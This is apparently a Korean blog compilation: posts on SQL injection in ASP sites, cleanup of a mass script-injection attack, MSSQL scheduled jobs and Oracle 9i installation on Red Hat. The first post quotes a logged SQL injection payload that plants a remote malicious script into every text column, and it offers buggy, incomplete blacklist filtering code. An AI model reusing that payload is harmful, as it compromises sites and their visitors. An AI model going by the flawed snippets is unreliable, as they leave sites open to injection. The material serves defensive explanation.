이러한 공격의 주원인 개발자의 부주의로 생긴 원인일 수도 있습니다. 하지만, 개발일정에 쫓겨 생략하는 경우가 많습니다.
예를 들어보겠습니다.
실제 데이타는 데부분 Post로 넘기겠지만 설명을 위해 Get으로 설명합니다.
로그인 처리 페이지에서 다음과 같이 값을 받는 경우

http://도메인/login.asp?id=abc&pw=1234

공격받은 사이트인경우 다음과 같이 코딩 하셨을겁니다.

id =  = Request.ServerVariables("id")
pw =  = Request.ServerVariables("pw")

sql = "select * from table where id='"& id & & "' and pw = '"& pw &"'"

자, 이런견우 실제 DB에서 처리될경우
select * from table where id='abcd' and pw = '1234'
처럼 정상 처리 될 것입니다.

IIS 로그를 찾아 보세요!
저희가 공격 받은 로그를 참조 하겠습니다.
로그에서 '; 를 검색해보면 바로 찾아 질겁니다.

2008-11-07 06:04:52 58.102.105.* - 웹서버IP 80 GET /include/left_goods_sub.asp big=2&middle=13&small=7 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+Media+Center+PC+5.0;+.NET+CLR+3.0.04506;+InfoPath.2;+.NET+CLR+1.1.4322)

보통은 위처럼 평범하게 값을 붙여 접속합니다.
하지만 공격용 접속URL은 보는 순간 놀래버리죠 ㅡㅜ;
대부분 개발자들이 내가 만든 소스는 안전하겠지라는 생각들을 많이 하고 있죠.
하지만 이런 공격 받고 나면 소름이 좌악...ㅡㅡ

2008-10-03 00:01:49 218.209.177.80 - 웹서버IP 80 GET /goods/submain.asp big=8&middle=2&flag=4&listrow=40;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20wHiLe(@@fEtCh_status=0)%20bEgIn%20eXeC('uPdAtE%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rTrIm(cOnVeRt(vArChAr(4000),['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F732E6172646F7368616E676861692E636F6D2F732E6A733E3C2F7363726970743E%20aS%20vArChAr(53))')%20fEtCh%20next%20FrOm%20tAbLe_CuRsoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)

218.209.177.80 이 IP는 당연 공격자 아이피입니다.
어떤분은 방화벽으로 이아이피 막으면 안되냐고 하시겠지만 저희 경우 당연 막아봤죠
하지만 1시간 주기로 IP를 바꿔 공격하더군요 ㅡㅡ;
그리고 바보아닌 다음에게 나 잡아가라 하고 자신의 IP를 그대로 사용하진 않겠죠 ㅋㅋ
프락시 접속인경우도 실제 아이피 잡아낼 수 있습니다.
세이박스 자료 찾아보세용
하지만 이것도 무용지물 ㅋㅋ
뭐어쨌던 위 접속을 잘 보시면 '; 검색 해보라고 한 이유가 있습니다.
다시 로그인을 예로 들어 설명하겠습니다.

만약 위 공격 로그처럼 뒤에 '; 를 붙여 보겠습니다.
http://도메인/login.asp?id=abc&pw=1234';DB명령--

자, 이런견우 실제 DB에서 처리될경우
select * from table where id='abcd' and pw = '1234';DB명령--'
처럼 정상 처리 될 것입니다.

두개의 DB명령이 되는군요.
select * from table where id='abcd' and pw = '1234';
DB명령
--'
이렇게 처리가 되겠네요. -- 표시는 주석처리 로써 이후 내용을 무시해버립니다.
즉, ' 홀따옴표는 없는게 됩니다.
DB명령을 무었을 넣느냐에 따라 결과는 끔찍하겠죠.
그래도 공격자들의 조금은 양심이 있는지 스크립트 삽입에 그친걸 다행으로 생각하셔야 합니다.
사실 SQL injection 공격이 오늘내일 이야기가 아닙니다.
초기에는 지금보다 더 심각한 공격을 했었던걸로 압니다.
DB 내용을 아예 제거 해버리거나 내용을 모두 변경 해버리곤 했었죠.

어쨌던 위와 같이 ; 이 문자로 인해 생겨진 문제이므로 최소한 해당 문자가 삽입되었는지 DB쿼리 실행전 확인만 해도 상당히 보안되리라 봅니다.
예제 소스를 만들어 보겠습니다.

1) 특수문자 변환 해버리기
<%
pw = replace(";","",pw)
pw = replace("'","",pw)
%>
이외에도 DB에서 사용하는 특수문자를 제거 해주는게 좋겠죠.
하지만 이방식은 별로 권하지 않고 싶네요.
아예 분순한 접근은 막아야겠죠!

2) 특수문자 삽입시 막아버리기
<%
pw = Request.ServerVariables("pw")
if instr(pw,";") > 0 or instr(pw,"'") > 0 then
 response.end
end if
%>

솔직히 위 방법또한 완벽한 보안은 아닙니다.
항상 공격자의 경우 취약점을 찾기 마련입니다. 일단 위와 같이 DB를 이용하는 페이지는 모두 보안을 하셔서 공격을 최소화 하시기 바랍니다.

위 글은 세이박스에서 작성한 글입니다.
출처를 적어 주시고 많은 국내 사이트들이 공격을 받고 있으니 도움이 되기 위해 많이 많이 올려주세요! ^^
출처 : 세이박스  http://saybox.tistory.com/546

MSSQL 작업스케줄러로 반복 적으로 쿼리 실행하기

데이타베이스
최근 스크립트 인젝션 공격으로 인해 DB에 <script *></script> 가 삽입 되어 애를 먹은적이 있었다.

다행히 스크립트를 찾아서 지워주는 쿼릴 실행해서 복구는 되었으나 지속적으로 들어와 서비스를 중단하고 소스를 수정해야하는 사항까지 갈것 같았다.
그래서 생각한게 보안처리 될 동안 복구해주는 쿼리가 주기적으로 돌아가 주면 좋겠다는 생각에 MSSQL 에이전트 작업을 이용해보았다.

백업등을 목적으로 주로 이용하지만 이렇게 원하는 쿼리를 주기적으로 동작하게끔도 할수 있다.

1. 먼저 "엔터프라이즈 관리자"를 실행한다.

사용자 삽입 이미지

2. 다음으로 콘솔루트 > Microsoft SQL Servers > (LOCAL) ... > 관리 > 작업 을 선택한다.

사용자 삽입 이미지

3. 마우스 우측 버튼을 눌러 작업 추가를 선택한다.
여기서 이름을 구분할 수 있게 적어두고 범주는 적당히 데이터베이스 유지 관리 등 선택한다.
그리고, 당연 쿼리를 실행할 소유자를 선택한다. 쿼리 적용할 소유자 필요하면 다른 작업자를 위해 설명을 달아두는것도 좋을듯..그리고 우측 대상 서버 선택 보통 [local]

사용자 삽입 이미지


4. 다음으로 단계 탭을 클릭한다. 여기서 새로 만들기 클릭

사용자 삽입 이미지


5. 단계이름 적당히 입력하고 유형은 Transact-SQL 스크립트 [TSQL] 를 선택 그리고 데이터베이스를 선택한다. 그리고 명령칸에 쿼리를 작성한다.

사용자 삽입 이미지


6. 이제 일정 탭을 선택후 새일정을 추가한다. 스크립트를 언제 마다 돌릴지 설정 해주는것이다.

사용자 삽입 이미지

7. 이름을 적당히 넣어주고 되풀이를 선택한다. 그리고 되풀이 옆에 변경을 클릭!

사용자 삽입 이미지


8. 되풀이 방법은 매일 혹은 매주 선택하고 매일 인 경우 몇일마다 1일마다면 매일이 되는것이겠죠. 하루빈도 한번수행할지 되풀이 수행할지 선택 되풀이 수행 체크하고 1분으로 설정하면 1분마다 계속 줄기차게 실행이 되겠죠 그리고 시작 끝은 그냥 놔두시면된 기본설정이 24시간이니깐.

사용자 삽입 이미지

9. 마지막으로 알림 탭에서 처리후 관리자에게 처리 상태를 메일을 발송할지 여부를 선택할 수 있다. 즉, 실패할 경우라고 선택하고 메일을 적어두면 메일을 보고서 쿼리가 동작 안하는구나 하고 판단을 할 수 있겠죠. 필요하시면 설정하시면됩니다.

사용자 삽입 이미지

10. 이것으로 설정이 끝났으며 목록에서 자신이 추가한 항목에 마우스 우측 버튼 눌러 시작을 클릭하시면 동작합니다. 만약 중지하고 싶으시면 중지 그리고 아예 비활성화 시킬수도 있습니다. 말그대로 "비활성화"를 선택해주시면 절대 동작 안합니다.

사용자 삽입 이미지

원래 백업 관리 계획용으로 주로 이용되나 저처럼 반복적인 쿼리 실행을 하고자 할 때 유용하게 사용하실 수 있을겁니다. 응용해서 잘 이용해보세요!

위 글은 제가 직접 작성한 글이니 가져가실땐 꼭 출처까지 표시 해주세요!
출처 : 세이박스 http://www.saybox.co.kr/460

DB injection script 스크립트 공격 복구 및 보안

데이타베이스

DB injection 공격?
구글에서 <script src= 0.js 라고 검색하면 놀랄 정도로 많은 사이트들이 DB 공격을 받았음을 확인 하실 수 있을겁니다.
제가 관리하는 사이트 또한 위와같은 스크립트 삽입되어 수많은 사이트를 찾아 다니며 복구하고 나름대로 보안하는 방법을 접하게 된 것을 올려 봅니다.


1. 공격 유형 :
SQL injection 홈페이지 상의 DB사용하는 페이지를 공격 즉, 웹소스 취약한 곳을 통해 DB를 공격.
특수 코드 삽입해서 DB에 스크립트를 삽입하여 접속하는 사용자에게 악성코드를 설치하는 유형.


2. 조치 시 주의 사항
참조 : http://swbae.egloos.com/1747128
1) 홈페이지 변조를 통해 악성코드 링크를 삽입한게 아니라, SQL injection 기법을 이용해 DB 컨텐츠에 삽입한 것입니다.
2) 조치 시 DBA 의 도움을 받는게 좋습니다.
3) 공격 때문에 기존의 데이터가 일부 덧씌워져 변경되었을 수 있습니다. 이럴 땐 백업의 도움을 받아야 겠지만, 일부 데이터의 유실은 어쩔 수 없을 듯...
4) 근본 원인은 사이트가 SQL injection 공격에 취약하게 개발되어 있어서 그렇습니다. 공격 포인트를 파악해서 외주개발 업체, 혹은 내부개발팀을 통해 소스를 수정하세요.
5) 소스를 수정할 수 없는 경우 웹 방화벽이 도움이 될 수도 있습니다. 그러나, 제품 도입시 면밀히 검토하실 필요가 있습니다. 단순 패턴 매칭 형태를 사용해서, 보유패턴과 1byte 만 틀려도 탐지 못하는 제품이 몇 개 있더군요.


3. 공격으로 생긴 DB table 삭제
comd_list 테이블 삭제
ahcmd 테이블 삭제
foofoofoo 테이블 삭제
Reg_Arrt 테이블 삭제
comd_list 테이블 삭제
D99_CMD 테이블 삭제
D99_TMP 테이블 삭제
Kill_kk 테이블 삭제
jiaozhu 테이블 삭제


4. 삽입 스크립트 제거 복구
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<script src=http://s.ardoshanghai.com/s.js></script>'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

'스크립트 부분은 삽입된 스크립트를 입력


5. 보안 적용 1 - MSSQL 메모리에서 위험한 sp들을 내린다.
보안상 위협이 될 수 있는 개체들에 대하여 일반 사용자 그룹의 사용권한을 제한한다.
참조: http://blahblah.springnote.com/pages/351077
SP 등록해제는 위험을 감안해야 하므로 메모리에서만 내린다. 단점, 재부팅되거나 DB 재시작시 다시 아래 쿼리 실행 할것!

dbcc xp_cmdshell(free)
dbcc xp_dirtree(free)
dbcc xp_regdeletekey(free)
dbcc xp_regenumvalues(free)
dbcc xp_regread(free)
dbcc xp_regwrite(free)
dbcc sp_makewebtask(free)


6. 보안 적용 2
무엇보다 DB 인젝션이 발생한 원인인 로그인, 회원가입, 게시판 등 사용자가 DB를 접하게 되는 소스 개발시 특수 문자 보안 적용 안된 경우가 가장 유력하다.
로그인, 회원가입, 아이디 비번찾기, 게시판 등이 개발자가 개발하면서 DB를 공격할만한 특수 문자에 대한 차단 기능을 적용하지 않은 문제로 판단됨. 소스를 모두 개선 해야함.
보안참조 : http://magic.littleworld.net/ai/kmod.asp?no=327&amp;isn=&amp;mymsg


위 글은 세이박스에서 작성한 글입니다.
출처를 적어 주시고 많은 국내 사이트들이 공격을 받고 있으니 도움이 되기 위해 많이 많이 올려주세요! ^^
출처 : 세이박스  http://saybox.tistory.com/453

레드햇 엔터프라이즈4에 오라클9i(9.2.0.4)설치

데이타베이스
 
Installing Oracle9iR2(9.2.0.4) on RH AS4
에러없이 설치까지 일주일 삽질했습니다. -_-;;
 
목차
[1] oracle 다운로드 및 압축해제
[2] oracle 유저생성 및 권한부여
[3] pre-install RPM
[4] jdk 설치
[5] 공유메모리 및 세마포설정
[6] 오라클사용자 초기화파일구성
[7] 오라클 셋업
[8] 에러조치
[9] TIP & TECH
 
[1] oracle 다운로드 및 압축해제

zcat ship_lnx_920_disk1.cpio.gz | cpio -idmv
zcat ship_lnx_920_disk2.cpio.gz | cpio -idmv
zcat ship_lnx_920_disk3.cpio.gz | cpio -idmv
Disk1, Disk2, Disk3 이 생기고 생긴 파일들은 /home/oracle로 이동.
mv Disk* /home/oracle/
 
참고. 오라클사제공압축해제 방법
Directions to extract the files
   1. Run "gunzip <filename>" on all the files.  
       예). gunzip ship_9204_linux_disk1.cpio.gz
   2. Extract the cpio archives with the command "cpio -idmv < <filename>"  
       예). cpio -idmv < ship_9204_linux_disk1.cpio
 

[2] oracle 유저생성 및 권한부여
 
groupadd dba
useradd oracle -g dba
passwd oracle
mkdir /home/oracle
mkdir /home/oracle/oracle
mkdir /home/oracle/oracle/product
mkdir /home/oracle/oracle/product/9.2.0
pwd /home/oracle
chown -R oracle.dba /home/oracle
chmod 777 /home
chmod 777 /home/oracle
 
mkdir /var/opt/oracle
chown oracle.dba /var/opt/oracle/
chmod 755 /var/opt/oracle/
 
[3] pre-install RPM
 
링크에러를 없애기 위해 삽질을 거듭한 끝에 RPM에서 결론에 도달.
 
패키지 설치 유무 확인
rpm -aq | grep packagename으로 알수 있습니다.
예). rpm -aq | grep compat-db-4.1.25-9
 
compat-db-4.1.25-9
compat-gcc-32-c++-3.2.3-47.3
compat-gcc-32-3.2.3-47.3
compat-libgcc-296-2.96-132.7.2
compat-libstdc++-296-2.96-132.7.2
compat-libstdc++-33-3.2.3-46.1
java-1.4.2-gcj-compat-1.4.2.0-26jpp
nss_db-compat-2.2-28
gnome-libs-1.4.1.2.90-44.1.i386.rpm
xorg-x11-deprecated-libs-devel-6.8.1-23.EL.i386.rpm
libaio-0.3.102-1
libaio-devel-0.3.102-1
libpng10-1.0.13-13.i386.rpm
sysstat-5.0.1-2.i386.rpm
openmotif21-2.1.30-9.i386.rpm
pdksh-5.2.14-24.i386.rpm
 
아래 두 파일은 메타링크 p4198954_21_LINUX.zip 패치 안에 들어있습니다.
compat-oracle-rhel4-1.0-5.i386.rpm
compat-libcwait-2.0-2.i386.rpm
RPM설치시 의존성에 걸리는건 당연히 같이 설치.
rpm -iUvh packagename 명령어로 설치
 
SuLinux의 경우 설치 패키지
SuLinux는 Centos기반이므로 SuLinux에 없는 패키지는 Centos에서 가져와서 설치
http://ftp.superuser.co.kr/pub/centos/4.2/os/i386/CentOS/RPMS/
  compat-db-4.1.25-9.i386.rpm
  compat-gcc-32-3.2.3-47.3.i386.rpm
  compat-gcc-32-c++-3.2.3-47.3.i386.rpm
  compat-glibc-2.3.2-95.30.i386.rpm 
  compat-glibc-headers-2.3.2-95.30.i386.rpm
  compat-libgcc-296-2.96-132.7.2.i386.rpm
  compat-libstdc++-296-2.96-132.7.2.i386.rpm
  compat-libstdc++-33-3.2.3-47.3.i386.rpm
  openmotif-2.2.3-10.RHEL4.1.i386.rpm
  openmotif-devel-2.2.3-10.RHEL4.1.i386.rpm
  openmotif21-2.1.30-11.RHEL4.5.i386.rpm
  xorg-x11-deprecated-libs-devel-6.8.2-1.EL.13.20.i386.rpm
  gnome-libs-1.4.1.2.90-44.1.i386.rpm
  nss_db-compat-2.2-29.i386.rpm
  java-1.4.2-gcj-compat-1.4.2.0-27jpp.noarch.rpm
  sysstat-5.0.5-1.i386.rpm
  pdksh-5.2.14-30.3.i386.rpm
  libpng10-1.0.16-1.i386.rpm
  libaio-0.3.103-3.i386.rpm
  libaio-devel-0.3.103-3.i386.rpm
 
 
* 사실 몇몇은 빼도 설치되겠지만 에러나는것보단 나을것 같아서
깔아버렸슴니다 ㅡ.,ㅡ;
* 레드햇 9에서도 설치해봤는데 아래 rpm들 안깔아도 잘 깔리데요 ` `;
xorg-x11-deprecated-libs-devel-6.8.1-23.EL.i386.rpm
compat-libgcc-296-2.96-132.7.2
openmotif21-2.1.30-8.i386.rpm
 
 
- gcc296 과 g++296 을 다음과 같이 심볼릭 링크 합니다.
mv /usr/bin/gcc /usr/bin/gcc323
mv /usr/bin/g++ /usr/bin/g++323
ln -s /usr/bin/gcc296 /usr/bin/gcc
ln -s /usr/bin/g++296 /usr/bin/g++
 
 
 

[4] jdk 설치
 
다운로드 :
RPM in self-extracting file (j2sdk-1_4_2_08-linux-i586-rpm.bin, 33.64 MB)
chmod +x를 주고 실행후
rpm -Uvh 로 설치
/usr/java/j2sdk_1.4_2_08 에서 /usr/local/j2sdk_1.4_2_08로 이동후
$/usr/local/에서 ln -s j2sdk_1.4_2_08 java
/etc/profile에 다음내용을 설정
# For Java
export JAVA_HOME=/usr/local/java
export PATH=$JAVA_HOME/bin:.:$PATH
 
[5] 공유메모리 및 세마포설정
/etc/sysctl.conf 에서
kernel.sysrq=0
라인아래에
kernel.shmmax=1073741812(또는 최대값으로 2147483648)
kernel.sem=250 32000 100 128
설정후 재부팅
oracle 설치시 dbca 실행을 위한 공유메모리 설정
[root@domain oracle]# cat /proc/sys/kernel/shmmax
33554432
[root@domain oracle]# echo `expr 1024 \* 1024 \* 1024` > /proc/sys/kernel/shmmax
[root@domain oracle]# cat /proc/sys/kernel/shmmax
1073741824
- 위와같이 공유메모리가 증가되었음을 알수 있습니다.

[6] 오라클사용자 초기화파일구성
oracle$ vi .bash_profile
 
# Set the LD_ASSUME_KERNEL environment variable only for Red Hat 9 and
# for Red Hat Enterprise Linux Advanced Server 3 (RHEL AS 3) !!
# Use the "Linuxthreads with floating stacks" implementation instead of NPTL:
export LD_ASSUME_KERNEL=2.4.1
# Oracle Environment
export ORACLE_BASE=/home/oracle
export ORACLE_HOME=$ORACLE_BASE/product/9.2.0
export ORACLE_OWNER=oracle
export ORACLE_SID=ora9
export ORACLE_TERM=xterm
export NLS_LANG=AMERICAN_AMERICA.KO16KSC5601
export TNS_ADMIN=$ORACLE_HOME/network/admin
export ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
LD_LIBRARY_PATH=$ORACLE_HOME/lib:$ORACLE_HOME/rdbms/demo:/lib:/usr/lib
export LD_LIBRARY_PATH
export TEMPDIR=/tmp
export EDITOR=vi
#set shell search paths
export PATH=$PATH:$ORACLE_HOME/bin:$ORACLE_HOME/JRE/bin

# Set shell search paths
export PATH=$PATH:$ORACLE_HOME/bin
#vi /etc/ld.so.conf
/lib
/usr/lib
/usr/local/lib => 세가지 경로 추가
#reboot
 
[7] 오라클 셋업
 
x-windows에 oracle계정으로 로그인
oracle에서 ./runinstaller
언어가 깨지거나 실행이 안될경우는 다음명령 실행.
unset LANG
Unix Group Name -> oinstall 또는 dba
sid-> 일반적으로 ora9
Global Database Name -> ora9.도메인
문자셋은 [6] 사용자초기화 파일에서 설정한것과 같아야 한다.
export NLS_LANG=AMERICAN_AMERICA.KO16KSC5601
설치중간에 orainstRoot.sh 팝업이 나올시
새창에서 su -root
cd /tmp
./orainstRoot.sh실행
완료후 진행
설치진행 100%후
       */oracle/ora92/root.sh 실행 대화상자 팝업
       $su - root
       #cd /oracle/ora92
       #./root.sh
시스템 기본 디렉토리 묻는다. /usr/bin 으로 설정

[8] 에러조치
 
agent configuration assistance가 정상적으로 설치되지 않고
다음과 같은 에러를 낼때,
Parameter "orahome"=/home/oracle/product/9.2.0
Parameter "nodeinfo"=NO_VALUE
agnet serivce failed
오라클 DB운용과는 상관없는 부분이지만 설치에러0%를 위하여 설치후 패치할것입니다.
일단 넘어감.
 
인스톨러종료후
$ agentctl start  했을시
 
DBSNMP for Linux: Version 9.2.0.4.0 - Production on 07-JAN-2004 19:11:14
 
Copyright (c) 2003 Oracle Corporation.  All rights reserved.
 
Starting Oracle Intelligent Agent.../opt/oracle/product/9.2.0/bin/dbsnmpwd: line 156:  1855 Segmentation fault      nohup $ORACLE_HOME/bin/dbsnmp $*
>>$DBSNMP_WDLOGFILE 2>&1
/opt/oracle/product/9.2.0/bin/dbsnmpwd: line 156:  1868 Segmentation fault      nohup $ORACLE_HOME/bin/dbsnmp $* >>$DBSNMP_WDLOGFILE 2>&1
/opt/oracle/product/9.2.0/bin/dbsnmpwd: line 156:  1880 Segmentation fault      nohup $ORACLE_HOME/bin/dbsnmp $* >>$DBSNMP_WDLOGFILE 2>&1
/opt/oracle/product/9.2.0/bin/dbsnmpwd: line 156:  1892 Segmentation fault      nohup $ORACLE_HOME/bin/dbsnmp $* >>$DBSNMP_WDLOGFILE 2>&1
 
정상구동시는 이상없이 설치가 된 경우이고 위와 같을경우
메타링크에서 p3238244_9204_LINUX.zip  다운로드 받고 다음 작업 진행.
반드시 Instance 종료후 작업 진행
 
p2617419_10102_GENERIC.zip(Opatch파일)을 이용
p3238244_9204_LINUX.zip 패치실행후
 
orlace계정으로
$ find $ORACLE_HOME -name "*.mk" | xargs grep -l dbsnmp
/opt/oracle/product/9.2.0/network/lib/ins_oemagent.mk
/opt/oracle/product/9.2.0/network/lib/env_oemagent.mk
$
$ cd $ORACLE_HOME/network/lib
$ make -f ins_oemagent.mk install
$ agentctl start
agent started.

[9] TIP & TECH
 
- 설치로그보기 -
tail -f $ORA_HOME/app/oracle/product/orainventory/logs/installactions.log
 
- oracle 삭제 -
$ORACLE_HOME 디렉토리에 있는 설치화일을 전부삭제
/etc밑에 orainst.loc, oratab 삭제
/usr/local/bin/oraenv 파일삭제
/tmp디렉토리에서 관련파일삭제
elete the /etc/oratab file. If using 9iAS delete the /etc/emtab file also.
# rm /etc/oratab /etc/emtab
끝 재설치 하면됩니다.
 
 
 
[10] 오라클9i 부팅할때 자동으로 시작하기

먼저 오라클을 설치한 디렉터리로 가자. 나의 경우는 /opt/oracle/product/9.2.0/bin/ 인데 이곳에 dbstart 와 dbshut 가 있다. 이중 dbstart 를 vi /etc/rc.d/rc.local (리눅스의 초기부팅설정화일 DOS의 Autoexec.bat 같은 것)에 적어주면 부팅할 때 자동으로 오라클을 실행한다. 그러나 이렇게 하는 건 start만 가능할 뿐이다. 종료까지 하려면 스크립트파일을 작성해야만 한다. /etc/oratab 은 오라클을 자동 시작 기능을 사용할지 여부를 결정하는 파일이다. 디폴트 값은 No 인데 Yes로 바꿔주면 dbstart, dbshut 를 사용할 수 있다.

vi /etc/oratab 라고 쳐보자. 맨 아래에 나의 경우 SID 이름을 ora1 이라 주었기 때문에
ora1:/opt/oracle/product/9.2.0:N 이 있을 것 인데 문장 끝에 N 이 보일 것 이다. 이걸 Y로 고치자. ora1:/opt/oracle/product/9.2.0:Y 이렇게 말이다.

그 다음 SID를 위한 초기화 파일을 복사해야만 한다. 나의 SID 이름이 ora1 이므로 initora1.ora.642002224936라는 파일이 /opt/oracle/admin/ora1/pfile/ 에 존재할 것 이다. 초기화 파일명은 SID 이름에 따라 달라지는 것이다. 예로 만일 SID 를 test 로 했다면 inittest.ora.642002224936가 있을 것 이다.
/opt/oracle/admin/test/pfile/initora1.ora.642002224936 을
/opt/oracle/product/9.2.0/dbs/ 디렉터리로 initora1.ora 로 rename 해서 옮긴다.
자 이제 마지막으로
su - oracle -c /opt/oracle/product/9.2.0/bin/dbstart (오라클 시작 !)
su - oracle -c /opt/oracle/product/9.2.0/bin/lsnrctl start (리스너 시작 !)
이라고 쳐서 실제로 가동되는지 test 해보자. (위의 내용을 /etc/rc.d/rc.local 에 입력하면 컴퓨터가 처음 부팅할 때 자동으로 오라클과 리스너를 시작한다. 단 리스너의 경우엔 스크립트에 입력할 때 따옴표로 묶어야 start 명령이 적용된다. 이렇게
su - oracle -c /opt/oracle/product/9.2.0/bin/“lsnrctl start”)
참고) 오라클 리스너 설정법
먼저 vi /etc/services를 해서 오라클을 위한 포트를 등록해준다.
Xtel 1313/tcp # French minitel
LISTENER 1521/tcp # Oracle Listener by TCP
LISTENER 1521/udp #Oracle Listener by UDP
Support 1529/tcp #GNATS, Cygnus bug tracker
위의 밑줄 친 부분을 추가해 주면 된다.
그리고 /opt/oracle/product/9.2.0/bin/에 있는 netmgr을 실행해서 리스너를 설정한다.(아마 디폴트 값이 있을 것이다. 그냥 사용해도 무방하다.) 이렇게 하면
/opt/orqacle/product/9.2.0/network/admin/ 디렉터리에 listener.ora 가 있을 것이다. 확인하라.
이제 마지막으로 /opt/oracle/product/9.2.0/bin/에 리스너 구동 프로그램인 lsnrctl이 있다. oracle계정으로 로그인 한 후 lsnrctl start를 쳐 리스너를 시작하자. 중지할 때는 lsnrctl stop 이다. 자 이제 외부에서 접속이 가능할 것이다.
http://www.sqlgate.com 에서 sqlgate 를 구해 외부에서 시험 접속을 해보자.

Installing Oracle 9i Release2 on Red Hat 리눅스 9

데이타베이스
 
Installing Oracle 9i Release2 on Red Hat 리눅스 9
안녕하세요 훠니입니당...(이전 올해안에는 닉네임에서 제이름 닉넴으로 바뀠음당...^^)
본 문서는 Red Hat 9 에서 Oracle 9i (Release 2)를 설치하는 문서입니다.
배포판마다 설치하는데 차이가 있으므로 우리나라 배포판(와우, 한컴)으로 설치하신다면 그 쪽의 참고 문서를
보시기 바랍니다.
본 문서는 Roko Roic의 문서를 한글로 번역하여 작성한 문서입니다.
(물론 제 나름대로의 허접한 의역도 들어있습니다...^^)

이 문서대로만 설치하신다면 무난히 오라클 9i를 설치하실 수 있을 것입니다.
단, Oracle 9i Release 1은 RedHat 9에서 확인되지 않을 오류들이 많습니다.
반드시 Oracle 9i Release 2버전을 설치하시기 바랍니다.
 

오라클 설치를 위한 용량 선정
기본적으로 오라클을 설치할 때는 약 2G정도의 용량이 필요합니다.(Enterprise기준)
하지만 넉넉하게 2.5G정도의 용량을 설정해 주는 것이 좋을 듯 합니다.
DB를 생성하는데 필요한 용량은 약 1.5G정도면 될 듯합니다.
오라클 디렉토리와 오라클의 DB를 저장하는 파티션은 따로 구성하는 것이 좋습니다.
(성능과 직결되는 문제이겠지만 여기서는 큰 시스템이 아니라면 오라클 파티션과 DB 파티션의 2개 정도만으로
나누는 것도 좋을 듯 합니다.)
이 문서에서는 /opt 밑에 오라클이 설치가 되어 있습니다만 그렇다면 /opt 파티션의 용량이 당연히 커야겠죠?
적당하게 파티션의 용량을 잡아주시기 바랍니다.
(리눅스의 파티션을 잡는 것은 따로 설명하지는 않겠습니다...리눅스 문서를 참고하시면 되겠죠? ^^)
참고로 저는 /oracle (오라클 홈디렉토리) , /oradata (오라클 DB) 파티션을 생성해서 각각 4G씩 주었습니다.
(여기 문서와는 약간 설정이 다릅니다.)
오라클 그룹과 유저의 생성
오라클을 인스톨 할 때 필요한 그룹과 유저를 생성합니다.
root의 권한으로 다음의 명령어를 실행합니다.
[root@miniroko]# groupadd dba
[root@miniroko]# groupadd oinstall
[root@miniroko]# useradd -g oinstall -G dba oracle
[root@miniroko]# passwd oracle
위 명령어들을 실행하고 oracle의 패스워드 설정까지 마치면 그룹과 유저의 설정이 끝납니다.

디렉토리 생성
다음과 같은 명령을 실행하여 디렉토리를 생성하고
오라클 유저에게 /opt/ora9에 인스톨 할 수 있는 권한 및 퍼미션을 줍니다.
[root@miniroko]# mkdir -p /opt/ora9/product/9.2
[root@miniroko]# mkdir /var/opt/oracle
[root@miniroko]# chown oracle.dba /var/opt/oracle
[root@miniroko]# chown -R oracle.dba /opt/ora9
[root@miniroko]# chmod 755 /var/opt/oracle
오라클 설치시 필요한 TOOL과 library들
인스톨 시에 필요한 소프트웨어들에 대한 리스트입니다.
설치가 되어 있는 것도 있으니 확인을 하시고 없는 것들은 설치해 주시면 됩니다.
모든 rpm은 레드햇 리눅스 9i CD 1~3번의 RPMS 폴더에 있습니다.
찾아서 패키지를 설치하시기 바랍니다.
gcc-3.2.2-5
cpp-3.2.2-5
glibc-devel-2.3.2-11.9
binutils-2.13.90.0.18-9
compat-gcc-7.3-2.96.118.i386.rpm
compat-libgcj-7.3-2.96.118.i386.rpm
compat-libgcj-devel-7.3-2.96.118.i386.rpm
nss_db-compat-2.2-20.i386.rpm
RPM설치 명령어 : rpm -Uvh

$ rpm -UVh package_name
커널 파라미터 설정
레드햇 리눅스의 커널 파라미터는 대략적으로 설정되어 있습니다.
따라서 오라클을 인스톨하기 위해서는 커널 파라미터의 수정이 필요합니다.
/etc/sysctl.conf 파일을 열어서 맨 마지막 부분에 다음의 내용을 추가해 주십시요

kernel.shmmax = 536870912
kernel.shmmni = 4096
kernel.shmall = 2097152
kernel.sem    = 250 32000 100 128
fs.file-max   = 65536
 
net.ipv4.ip_local_port_range = 1024 65000
 

다음의 내용을 /etc/security/limits.conf 파일을 열어서
맨 마지막 부분에 다음의 내용을 추가해 주십시요

oracle soft nofile 65536
oracle hard nofile 65536
oracle soft nproc 16384
oracle hard nproc 16384
수정된 커널 파라미터가 설정되도록 Reboot합니다.

만약 현재 리눅스를 reboot 할 수 없는 상황이라면 다음과 같이 임시로 커널 파라미터를 수정하여 오라클을
인스톨 할 수 있습니다.
[root@miniroko]# echo 250 32000 100 128 > /proc/sys/kernel/sem
[root@miniroko]# echo 536870912 > /proc/sys/kernel/shmmax
